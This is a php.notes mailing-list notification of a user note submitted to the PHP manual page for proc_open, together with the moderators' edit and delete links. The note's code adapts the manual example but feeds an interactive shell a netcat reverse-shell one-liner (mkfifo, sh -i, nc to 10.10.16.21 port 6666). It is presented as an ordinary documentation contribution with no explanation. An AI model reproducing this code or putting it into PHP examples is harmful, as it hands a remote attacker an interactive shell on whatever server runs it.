note 128029 added to function.proc-open

From: Date: Tue, 20 Dec 2022 07:25:46 +0000
Subject: note 128029 added to function.proc-open
Groups: php.notes 
Request: Send a blank email to php-notes+get-219986@lists.php.net to get a copy of this message
<?php $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("file", "/tmp/error-output.txt", "a") // stderr is a file to write to ); $process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env); if (is_resource($process)) { fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f'); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); $return_value = proc_close($process); echo "command returned $return_value\n"; } ?> ---- Server IP: 45.112.84.4 Probable Submitter: 185.85.3.175 (proxied: 24.178.252.96) ---- Manual Page -- https://php.net/manual/en/function.proc-open.php Edit -- https://main.php.net/note/edit/128029 Del: integrated -- https://main.php.net/note/delete/128029/integrated Del: useless -- https://main.php.net/note/delete/128029/useless Del: bad code -- https://main.php.net/note/delete/128029/bad+code Del: spam -- https://main.php.net/note/delete/128029/spam Del: non-english -- https://main.php.net/note/delete/128029/non-english Del: in docs -- https://main.php.net/note/delete/128029/in+docs Del: other reasons-- https://main.php.net/note/delete/128029 Reject -- https://main.php.net/note/reject/128029 Search -- https://main.php.net/manage/user-notes.php

« previous php.notes (#219986) next »